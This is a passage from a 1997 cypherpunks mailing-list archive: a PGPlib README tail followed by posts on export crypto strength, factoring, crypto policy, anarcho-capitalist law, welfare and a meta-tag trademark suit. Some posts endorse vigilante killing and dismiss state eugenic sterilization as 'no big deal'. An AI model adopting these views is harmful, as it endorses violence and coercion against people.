     cryptographic functionality; I hope SSLeay is a good choice. I
     did not major in mathematics and can thus not judge the quality
     of their work, although it looks solid (to me).  I link with their
     version 0.8.1.  I rely on SSLeay for many things, in particular
     their BIGNUMs, RSA encryption and IDEA.  You can obtain your copy
     of SSLeay from:
        * ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/ - SSLeay source
        * ftp://ftp.psy.uq.oz.au/pub/Crypto/SSLapps/ - SSL applications
        * http://www.psy.uq.oz.au/~ftp/Crypto/ssl.html - SSLeay Programmer
          Reference
     SSLeay is quite large and I only use a fraction of it.
     other hand, SSLeay seems to be well maintained and their
     crypto-library might very well shrink or become more modular as
     time passes.  Also, work is in progress to strip out from SSLeay
     only thise parts that PGPlib uses.


Porting
=======

PGPlib has been developed on NetBSD 1.2.  It should compile smoothly
on FreeBSD, HP-UX and Linux.  If you port PGPlib to some other
platform, I would be greatful if you would send me patches.  In
particular, PGPlib does not compile on SunOS 4 and 5, your assistance
would be valuable.


Regarding PGP
=============

 - Work is underway to ensure that PGPlib is compliant with RFC1991.

 - The name PGPlib might not be final as I respect Zimmermann's
   "ownership" of the acronym PGP and he might not like that this
   library uses the name PGPlib.  Thus, this library might become
   libRFC1991.a or something.

 - PGP-5.0 is available.  It has several new features, such as a
   multitude of encryption methods.  PGPlib might evolve to support
   them all.

Your Feedback
============

   Your feedback is solicited.  Peter Simons <Peter.Simons@gmd.de> has
   created a mailinglist for PGPlib.  To subscribe, send an e-mail to
   the address pgplib-dev-request@crypt.to and write the command
   SUBSCRIBE into the BODY. If you want to be subscribed under
   a different address than the one you're mailing from, you can also
   use SUBSCRIBE yourname@somewhere.else to do the trick.  To post to
   the list, send an e-mail to pgplib-dev@cryp.to as usual.

   There is also (very low volume) list pgplib-announce@cryp.to.
   Subscribe by sending an e-mail to pgplib-announce-request@cryp.to
   with SUBSCRIBE in the body.

   Both lists are archived at URL:http://www.cryp.to/

   If you write a nice application based on this library (the ultimate
   feedback :-), please feel free to send it to  me and I will include
   it in the next release;


Where to get PGPlib
===================

	ftp://dslab1.cs.uit.no/pub/PGPlib.tar.gz

This file is a link to the latest version.  If you obtain the file
PGPlib-0.3.tar.gz instead, note that a name conflict will occur when
you unpack the file (see below).


What to do
==========

First, uncompress PGPlib, which should give you the file PGPlib.tar.
When you unpack PGPlib.tar you will get three files in your CURRENT
directory.  These files are

	README             : This file
	PGPlib-0.3.tar     : The library
	PGPlib-0.3.tar.sig : My signature on the above.

Verify the signature by running
       pgp PGPlib-0.3.tar.sig
and verify that PGP prints Good signature from user "Tage Stabell-Kulo
<tage@cs.uit.no>".  When you unpack PGPlib-0.3.tar, tar will create
the directory PGPlib-0.3 and place all the files within it.  Unless
you run SunOS, running the script configure should produce Makefiles
that you can use to compile everything.

To verify that everything compiled correctly, you should run the
script applications/test.sh.  Before you do so, you must edit away the
code that asks you to read this file.


COPYRIGHT  (yum, yum)
=========

   The library and included applications are all available under
   "Berkeley style" copyright terms.  Basically, this means that
   PGPlib is FREE for commercial and non-comercial use, and that you
   can do almost anything with the code.  The only thing you can not
   do is to say that you wrote it.  See the file COPYING for details.





////        Tage Stabell-Kuloe         | e-mail: tage@ACM.org          ////
/// Department of Computer Science/IMR | Phone : +47-776-44032         ///
// 9037  University of Tromsoe, Norway | Fax   : +47-776-44580         //
/       "'oe' is '\o' in TeX"          | URL:http://www.cs.uit.no/~tage/

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------------------------------------------------------------------------------
			  PGP Library Announcements

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 27 Aug 1997 21:57:48 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Sweden's Social Democrats Sterilize the Inferior
In-Reply-To: <Pine.GSO.3.95.970826175338.3323A-100000@well.com>
Message-ID: <3.0.2.32.19970827092748.036846ac@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>Not only did eugenics foresee an improved human race, it also was appealing
>>to Social Democrats, who were beginning to see that Sweden's welfare state
>>would be costly and wanted to limit the number of people who would have to 
be
>>supported, the newspaper said.
>>
>> AP-NY-08-25-97 1903EDT

No big deal.  When I was in law school in Oregon in the mid '70s, the Oregon 
Board of Social Control [I kid you not] was still on the statute books 
although I don't think they had sterilized anyone for a while.  

Eugenics, widespread sufferage, prohibition, central banking, the direct 
election of Senators were all popular causes promoted by US progressives at 
the turn of the century.

DCF

"Three generations of imbeciles are enough." -- Oliver Wendell Holmes, Jr. 
writing for the majority and upholding eugenic sterilization in Buck v. Bell.

http://www.findlaw.com/data/us/274/200.html

BUCK v. BELL, Superintendent of State Colony for Epileptics and the Feeble 
Minded. 
                                          
274 U.S. 200 (1927)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 27 Aug 1997 22:30:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <5d899dc016989b104a08057a85bc9e88@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

"John Smith" <jsmith58@hotmail.com> wrote:
>You know, there's a reason people started using judges to help settle
>disputes.  There's a reason the common law evolved with the idea of
>proportionate response and restitution.  This kind of
>shoot-everybody-I-think-harmed-me approach just doesn't work.  Nobody
>knows what someone else will consider harm worth shooting over.  If
>somebody disagrees that a shooting was justified, they'll shoot back,
>and feuds begin.

See "The Machinery of Freedom" by David Friedman.  (Sorry if this is
old hat to you or other members of this list.)

Friedman's legal arrangement works something like this: Say you kill
somebody.  If you want to protect your life from revenge, you
immediately report what you did to three people nearby who were
uninvolved.

This keeps you inside the legal system.  Afterwards, a compensation
arrangement is made between your protection company and the protection
company of your victim.  This occurs within the legal framework.  If
you do not comply with the compensation agreement, you are outlawed.
Outlaws receive no legal protection.

You can change protection companies anytime you like.

Improbable?  This is very similar to the Icelandic legal system of
circa 1000 C.E.  Friedman claims that this worked quite well for many
years.  Icelanders at that time were murderous pirates, yet in Iceland
they murdered each other much less frequently than Americans do now in
the United States.

The compensation payments were typically nontrivial - on the order of
twenty years of income.

Some interesting aspects of medieval Icelandic politics: no prisons,
no standing army, no single political leader, and no taxes.

Just Another Cypherpunk

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-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 27 Aug 1997 11:38:09 +0800
To: cypherpunks@toad.com
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <199708261244.HAA11451@mailhub.amaranth.com>
Message-ID: <Pine.OSF.3.96.970827131441.25156B-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 26 Aug 1997, William H. Geiger III wrote:

[...]

> "You fuck with me, my family, or my property you die. You leave me alone
> and I leave you alone."

Thats fine and good.  But if I can't trust the goverment to folow its own
rules and uphold liberty how can I trust you?  And how can I trust the
next person? and the next? ...


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <mbp@pharos.com.au>
Date: Wed, 27 Aug 1997 11:37:14 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: Netscape Crypto
In-Reply-To: <Pine.SOL.3.91.970826221440.2575A-100000@hardy>
Message-ID: <Pine.LNX.3.95.970827131327.24686Q-100000@buffalo.pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 26 Aug 1997, Jason William RENNIE wrote:

> Does anybody know how strong the export netscape crypto stuff is ??

Netscape3 export version usually uses RC4 with a 40 bit shared key.

> Is the stuff only 40 bit crypto for export ??

Key sizes are not a very meaningful indicator of security, which is a
holistic thing.

> A friend asked me about the secure credit stuff and if netscape was 
> secure for credit cards ?? 

I think that security in that respect probably has much more to do with
the security of the server which receives your information, than with the
cypher used in transit.  Assure yourself that the person you send the
information to is trustworthy and knows how to secure a computer system. 

Even weak HTTPS encryption will make it somewhat difficult for people to
grab your information out of a proxy cache or log and similar trivial
attacks.

> So is the export copy secure ??

Compared to what?  More secure than unencrypted, less secure than
strongly-encrypted. More secure than Internet Explorer, less secure than
Lynx.  Probably.

You'll probably only lose the $50 credit-card excess at most: I'd trust
that to Netscape, if I was sending it to a reputable party.  There's
plenty of information I wouldn't trust to it.

> I presuem the non-export wouldn't be to bad.

Doubled punctuation is too bad.

Martin Pool
PGP email preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 27 Aug 1997 11:47:46 +0800
To: cypherpunks@toad.com
Subject: Re: heart
In-Reply-To: <Pine.SUN.3.96.970826104902.6437A-100000@beast.brainlink.com>
Message-ID: <Pine.OSF.3.96.970827133025.25156E-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 26 Aug 1997, Ray Arachelian wrote:

> On Tue, 26 Aug 1997, ? the Platypus {aka David Formosa} wrote:

[...]

> > The cop can't become inhuman by any action thay take.
> 
> How's that again?  Earlier you were saying that if any human considers
> another human inhuman, all huamns lose humanity points,

Earliar I was wrong.  The idear of group loss of humanity was sort of
badly thourt out.  However I stand by my original point that it is a bad
idear to consider peaple inhuman.


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 28 Aug 1997 07:07:58 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Forwarded mail...
In-Reply-To: <199708231622.LAA24970@einstein.ssz.com>
Message-ID: <3.0.2.32.19970826230148.02f656cc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:22 AM 8/23/97 -0500, Jim Choate wrote:
>This is only part of the story. Most persons afflicted with these sorts of
>disorders are not caused by any sort of lesion but rather a geneticly based
>anomaly in brain development. Dyslexia is a prime example.

Dyslexia's harder to help, but in an online environment you _can_
help agraphia (or bad typing) by using spell checkers.  Sure, the
spell checker may occasionally miss misspelled words, and may "fix"
words that were correctly spelled, but you're still probably ahead of the 
game.  And they may not recognize "genetically" either, but it's a start.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 28 Aug 1997 07:14:58 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: gephardt slams crypto regs
In-Reply-To: <199708250116.SAA22371@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970826230823.02f656cc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:16 PM 8/24/97 -0700, Vladimir Z. Nuri wrote:
>Encryption is vital to the Net
> BY RICHARD A. GEPHARDT

Thanks for posting this!  My hat's off to Senator Gephardt for
coming out in favor of economic and personal freedom!

(Of course, it's not like I'd set my hat _down_ where he could
steal it or check its national origin label :-)  Dick's still a 
statist protectionist, but even if he's doing the right thing
just to annoy the right-wing statists like Clinton, it's a good start!)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 28 Aug 1997 07:27:17 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: PGP5i supports RSA keys?
In-Reply-To: <19970817123643.13713.qmail@hotmail.com>
Message-ID: <3.0.2.32.19970826232116.02f656cc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:13 PM 8/24/97 -0400, Anonymous wrote:
>Sorry, but computer hardware performance is increasing exponentially,
>but the difficulty of factoring is subexponential in the length of the
>number.

Ok, it's subexponential, but not _very_ subexponential.
For example, doubling the work to crack a 1024 bit key means adding
about 10 bits, if I remember right; it's something like
2**N / log N or 2**(N/3) or some other relationship that's
close enough to exponential in that adding a small number of bits 
doubles the workload, for values of "small" that mean it doesn't take
you a substantially different amount of work to double the amount of
work a cracker needs to do, or multiply it by 1024, or by 1048576.
You can still kick the NSA's butt at the cost of going to next year's
model for your palmtop, or adding a few megahertz into your Pentium,
rather than needing to siphon off spare CPU cycles from Ft. Meade to
make your cellphone encryption fast enough.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 28 Aug 1997 01:22:54 +0800
To: dformosa@st.nepean.uws.edu.au
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <Pine.OSF.3.96.970827131441.25156B-100000@oberon>
Message-ID: <199708270818.JAA01014@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




David Formosa <dformosa@st.nepean.uws.edu.au> writes:
> On Tue, 26 Aug 1997, William H. Geiger III wrote:
> 
> [...]
> 
> > "You fuck with me, my family, or my property you die. You leave me alone
> > and I leave you alone."
> 
> Thats fine and good.  But if I can't trust the goverment to folow its own
> rules and uphold liberty how can I trust you?  And how can I trust the
> next person? and the next? ...

It's a distributed system, it's more resilient to abuse than
governments.

If one person becomes too much of a nuisance (real trigger happy for
ultra minor infractions -- swearing at them, daring to look at them
when they're in a bad bood) relatives, friends, or concerned citizens
will correct (fill trigger happy person with lead).

That's how the wild west worked anyway... outlaws didn't last that
long.

So you're relying on other peoples sense of fairness ... should easily
work out better than governments.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Thu, 28 Aug 1997 01:54:13 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Monkey Wrench into the works
Message-ID: <199708271737.KAA26892@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



"Myron Lewis" <mrlewis@keygen.com>
> We invite you and everyone on the list (Please send this invitation out to
> them as the info on how to do that didn't come through.) to visit the KeyGen
> webpage, www.KeyGen.com and learn about Automatic Synchronized
> KeyGeneration(TM).  If you think you recognize it as something you have seen
> before, you're close but wrong.

What one man knows, nobody knows.

What two men know, everyone knows.

Shared secrets just don't work.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 28 Aug 1997 00:38:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: How tO MutAte anD TaKE OVer tHe WOrld
Message-ID: <199708271632.MAA08060@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:28 AM 8/27/97 -0700, Alan wrote:
>
>On Tue, 26 Aug 1997, luciana luciana wrote:
>
>> I'm very interested on that.
>> could u let me know anything else?
>
>I picked up a copy of the book a while back.
>
>Some of the sidenotes and off-storyline events are interesting and mildly
>humorous.  The ending was incredibly unbelievable and anti-climatic.  (The
>tacked on end-of-the-end was just plain stupid.)  The main characters
>spend little time involved with the revolution they claim to be bringing
>about.
>
>It does make mention of the Cypherpunks.  (One of the authors was involved
>in the very beginning, but I have not seen her post here any time in my
>memory.  (She claims to have coined the term "Cypherpunk".))
>
>If you want Cyberpunk/Cypherpunk fiction, there are much better choices.
>Neal Stephenson (sp?) is a good choice.  ("Snow Crash" and the short story
>"Hacking the Spew" are two of my favorites from him.)
>
>If you do get "How to mutate...", wait until it comes out in paperback.
>Then you won't feel as cheated as I did when i finished the book.
>
>alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
>Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
>
The author who claims that is St. Jude, AKA Judith Milton, she is a former
UNIX programmer who is also absent from the MUT home page.

The book itself is a little large for a paperback version, you have to read
the warning about the broken "scrapbook" method and remember that these
people are humor writers.

I grabbed a copy probably 3 months after it was released.  The dust cover is
very flimsy, has it improved?

There is a web site dedicated to the book, HTTP://www.onworld.com:80/MUT
The site is a shambles right now but I was told that they were going to try
to salvage it after the holiday weekend.  When it is working it has a nice
web-based bulliten board, with some threading, and way too many "how do I
hack" questions.  There are a few good gems and some people very much in
line with those here, however.

It's worth a visit, but give it a little while and see if they get the
bulliten boards back on line.  It is over 18 months old, I have been
visiting it off and on for about a year.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 28 Aug 1997 00:41:46 +0800
To: cypherpunks@Algebra.COM
Subject: Bell
Message-ID: <199708271632.MAA08062@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



I read that Jim Bell is now in jail, in part over his A.P scheme.  Reading
it reminded me that I had vowed to return at the end of the summer.  Could
someone fill me in on any details that the article might have missed or
ommitted?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 28 Aug 1997 03:42:28 +0800
To: cypherpunks@cyberpass.net
Subject: Cypherpunks in "The Guide"
Message-ID: <19970827193235.27133.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



The Cypherpunks have gotten honorable mention as the only intellectually
honest defenders of Free Speech left on the Net in a "Guide Magazine"
article. 

http://www.guidemag.com/newsslant/vigilante-censors.html

Apparently the author reads the list.  I seem to have been quoted.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 28 Aug 1997 00:55:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: heart
Message-ID: <199708271649.MAA09156@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:55 PM 8/26/97 -0700, Kent Crispin wrote:
>
>On Mon, Aug 25, 1997 at 02:20:33PM -0700, Tim May wrote:
>> And I think that most of what passes for "help" actually does more harm
>> than good, at least in the longterm.
>
>There is no doubt that sometimes "help" does more harm than good. 
>There is also no doubt that sometimes help does more good than harm.  
>Platitudes like these don't really give one much real guidance.
>
>> For example, sending food aid to Third World countries sounds noble and
>> good. But most studies show the real effect of such aid: it destroys the
>> local infrastructure of food production and distribution. (Imagine being a
>> poor Somali farmer bringing your grain to market, and seeing tons of U.S.
>> grain being distributed freely...it wipes that farmer out, and his future
>> years of production are gone, even after the U.S. food aid is also gone.)
>
>So the farmer can die of starvation later rather than earlier.  The
>problem is not with help, per se -- it's with the specifics of how the
>help is implemented.  What do you think the farmer would chose -- get
>some food now, and take his chances with his food production at a
>later time, or die of starvation immediately?
>
>A current case is North Korea.  Of course if you give them food it
>will help perpetuate an evil government.  On the other hand, if you
>don't give them food, lot's and lot's of people would die.  Tim's
>answer is that you might as well let them die, rather than perpetuate
>the government that enslaves them.  Others aren't quite as 
>cold-blooded as Tim.
>
I would venture to guess that very limited sustanence and more active aid to
the faltering industry would be more effective.  Then again I have heard of
brand new tractors rusting in the field because the local farmer couldn't or
wouldn't adapt to it, so even aid to the industry can be ineffective.

>> For example, the welfare system. Who can argue that it produces persons
>> unable or unwilling to take the available jobs, mostly at or near minimum
>> wage? When a welfare mother of two or more children can collect the total
>> equivalent (direct payments, food coupons, tax exemptions, day care) of $15
>> an hour, it would  be foolish for her to apply for a job at Burger King for
>> $6.35 an hour, and then have to pay almost that amount to put her kids in
>> some day care center. The longer she is out of the job market, the worse it
>> gets.
>
>The welfare system obviously has all kinds of problems.  It's not 
>easy giving help without creating dependency.  That doesn't mean it 
>can't be done.
>
I like the idea of reviving the WPA.  We have enough county and state jobs
that need to get done, and do not require any formal training.  Some can
even be done by the blind, deaf, mentally handicapped, and wheelchair bound
individuals who might actually jump at the chance to pull thier own weight.
I believe the idea is called "right to work", but I could be misinformed.

>> For example, saving people from their bad choices in life. When we force
>> insurers to cover those who do stupid, formerly uninsurable things, or when
>> we force the providers of legally and freely-chose substances (tobacco,
>> hamburger, guns, breast implants, rock climbing equipment, etc.) to pay for
>> the stupid actions of others, even if only imagined, costs rise and choices
>> narrow.
>
>Yep.  I don't see this as the same category of trying to help people, 
>though.  Rather, I think this example points out the end result of 
>our adversarial legal system.

Pretty soon every revolver will have a warning label.  "Warning, misuse of
this tool can result in injury and death.  By handling this item you consent
to bear all legal responsibility reguarding its use."  Never mind that such
should be implied.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 28 Aug 1997 03:20:28 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <199708271913.PAA20356@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:23 AM 8/27/97 -0400, Anonymous wrote:
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>"John Smith" <jsmith58@hotmail.com> wrote:
>>You know, there's a reason people started using judges to help settle
>>disputes.  There's a reason the common law evolved with the idea of
>>proportionate response and restitution.  This kind of
>>shoot-everybody-I-think-harmed-me approach just doesn't work.  Nobody
>>knows what someone else will consider harm worth shooting over.  If
>>somebody disagrees that a shooting was justified, they'll shoot back,
>>and feuds begin.
>
>See "The Machinery of Freedom" by David Friedman.  (Sorry if this is
>old hat to you or other members of this list.)
>
>Friedman's legal arrangement works something like this: Say you kill
>somebody.  If you want to protect your life from revenge, you
>immediately report what you did to three people nearby who were
>uninvolved.
>
>This keeps you inside the legal system.  Afterwards, a compensation
>arrangement is made between your protection company and the protection
>company of your victim.  This occurs within the legal framework.  If
>you do not comply with the compensation agreement, you are outlawed.
>Outlaws receive no legal protection.
>
>You can change protection companies anytime you like.
>
>Improbable?  This is very similar to the Icelandic legal system of
>circa 1000 C.E.  Friedman claims that this worked quite well for many
>years.  Icelanders at that time were murderous pirates, yet in Iceland
>they murdered each other much less frequently than Americans do now in
>the United States.
>
>The compensation payments were typically nontrivial - on the order of
>twenty years of income.
>
>Some interesting aspects of medieval Icelandic politics: no prisons,
>no standing army, no single political leader, and no taxes.
>
>Just Another Cypherpunk

I got something very similar from a friend who is much higher on the
technological food chain than myself.  He also told me that there was this
big fair/trade-show/political rally that everyone attended.  Once a year I
think.  That in addition to stopping by three houses to report the killing
the killer had to report it at the next of these events to occur.  It was
also suggested that the compensation was a fairly fixed amount but that a
person who could afford it and really didn't want trouble from the heirs of
the deceased could pay more, thus suggesting that he considered the deceased
to be more valuable than the average man.  Sort of a post-mortem complement
by the killer.
Also, according to what I remember, the "protection company" was your
extended family.  Pay up or face the wraith of all the deceased's cousins,
nephews, uncles, neices, aunts, maybe his kids.
I would love to get more information on this, however, the friend who told
me this much has left this little school for the larger waters of Oklahoma
State University where he is in the engineering pod.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 28 Aug 1997 06:58:18 +0800
To: cypherpunks@toad.com
Subject: Trademark lawsuit over key words in web pages
Message-ID: <Pine.GSO.3.95.970827153459.7848P-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 27 Aug 1997 15:32:36 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Trademark lawsuit over key words in web pages

This is a fascinating lawsuit. Might keywords in web pages -- inserted
like tasty morsels to attract hungry scavenger robots -- violate the law? 
Has trademark law become so broad that it violates long-held principles of
free expression? What if my web page criticizes, say, Microsoft's
alliance with Apple -- am I allowed to include "Microsoft sucks" as
keywords? Certainly in this case no person would confuse my web site with
microsoft.com -- but might a robot webcrawler?

-Declan

------------------

http://www.ljx.com/internet/

   Patents.com Sues for Trademark Infringement: Can a publisher
   infringe a law firm's trademark by including its name in computer
   code? A patent law firm is taking the question to federal court.

   New York based Oppedahl & Larson, which operates the Internet site
   www.patents.com, is suing five companies it claims improperly used the
   firm's name to draw business to their web sites.

   The firm is charging the companies and three individual defendants
   with unfair competition and trademark infringement for including the
   firm's name without permission in program coding for their web sites.
   Attorneys say some of the coding -- called a meta-tag -- caused
   Internet users looking for Oppedahl & Larson to be directed by a
   search engine to another company. [...]

------------------

From: Sandi <sandi@spiderwebb.com>
>Subject: Re: Competitor Name in Meta-tags Is a No-No
>Date: Wed, 27 Aug 1997 15:31:45 -0600
>
>Dr. Welch of Advanced Concepts (who is being sued) has been
>a online friend of mine for over a year now.  In fact, I bought my first
>virtual domain from him and ProWebSite.  He is just the nicest
>guy - a dentist in Texas.  This whole thing has him quite uptight
>though.  I guess you just can't be toooooo careful with those
>pesky Meta Tags...
>
>~Sandi <back to lurk mode>

------------------

IN THE UNITED STATES DISTRICT COURT
FOR THE DISTRICT OF COLORADO

Civil Action No. 97-Z-1592

OPPEDAHL & LARSON,
Plaintiff,

v.

ADVANCED CONCEPTS, ROBERT A. WELCH,
CODE TEAM - LBK, INC., GEORGE WILLIAMS,
PROFESSIONAL WEBSITE DEVELOPMENT,
DAVE DEAN, MSI MARKETING, INC., and
INTERNET BUSINESS SERVICES,
Defendants.


[...]


   
   36. Based on an evaluation of the underlying source documents,
   Plaintiff has determined that the URLs on defendants' web sites are
   using Plaintiff's "OPPEDAHL" and "LARSON" marks to erroneously
   identify to search services that these URLs are identifying services
   provided by Plaintiff.
   
   37. Notwithstanding plaintiff's well-known and prior use of, and prior
   statutory and common-law rights in, the marks "OPPEDAHL & LARSON,"
   defendants, without the consent of plaintiff, have adopted, used and
   caused to be used in interstate commerce, and continues to use and
   cause to be used, the substantially identical mark in connection with
   identifying the source of the content of its web pages.
   
   38. Such use by defendants of web pages bearing a substantially
   identical mark to plaintiff's mark "OPPEDAHL & LARSON" is misleading
   and is likely to cause confusion and mistake, and to deceive the
   public into believing falsely that defendants' web pages are connected
   with and/or sponsored or authorized by Plaintiff, when in fact
   defendants have no connection whatsoever with Plaintiff in regard to
   such web pages.
   
   39. Defendants' misleading use of a mark substantially identical to
   the mark "OPPEDAHL & LARSON" constitutes false advertising, false
   designation of origin, and false representation in and affecting
   interstate commerce in violation of Section 43(a) of the Lanham Act,
   15 U.S.C. § 1125(a).
   
   40. As a proximate result of the acts of defendants as alleged herein,
   Plaintiff has suffered and will continue to suffer great damage to its
   business, goodwill, reputation, and profits.
   
   41. Plaintiff has no adequate remedy at law against this unfair
   competition. Unless defendants are preliminarily and permanently
   enjoined by this Court, plaintiff will continue to suffer irreparable
   harm.
   
                            Second Cause of Action
                                       
(Federal Dilution)

   42. Plaintiff realleges and incorporate herein by reference the
   allegations of paragraphs 1-37 and 40-41 of the Complaint as set forth
   above.
   
   43. As a direct result of plaintiff's long and extensive experience,
   care, and skill in producing and marketing legal services and
   providing information on intellectual property law under the mark
   "OPPEDAHL & LARSON," plaintiff's mark has become famous.
   
   44. Defendants, by using a confusingly similar trademark, are
   misleading the public into believing that their services are connected
   with Plaintiff's business. On information and belief, the defendants
   willfully intended to trade on the reputation of Oppedahl & Larson or
   to cause dilution of the "OPPEDAHL & LARSON" mark.
   
   45. Such acts by defendants are likely to deprive plaintiff of the
   benefit of the goodwill attached to the mark "OPPEDAHL & LARSON,"
   injure plaintiff's business reputation, and dilute the distinctive
   quality of plaintiff's trademark in violation of 15 U.S.C. § 1125(c).
   
   46. As a proximate result of the acts of defendants as alleged herein,
   plaintiff has suffered and will continue to suffer damage to its
   business, goodwill, and reputation.
   
   47. Plaintiff has no adequate remedy at law against this dilution of
   and injury to business reputation. Unless defendants are enjoined by
   this Court, plaintiff will continue to suffer irreparable harm.
   
                             Third Cause of Action
                                       
(Unfair Competition - Colorado Common Law)

   48. Plaintiff realleges and incorporates herein by reference the
   allegations of paragraphs 1-38 the Complaint as set forth above.
   
   49. Plaintiff's mark "OPPEDAHL & LARSON" is inherently distinctive and
   has acquired a strong secondary meaning.
   
   50. Defendants' wrongful use of a substantially identical and
   therefore confusingly similar trademark as alleged herein is likely to
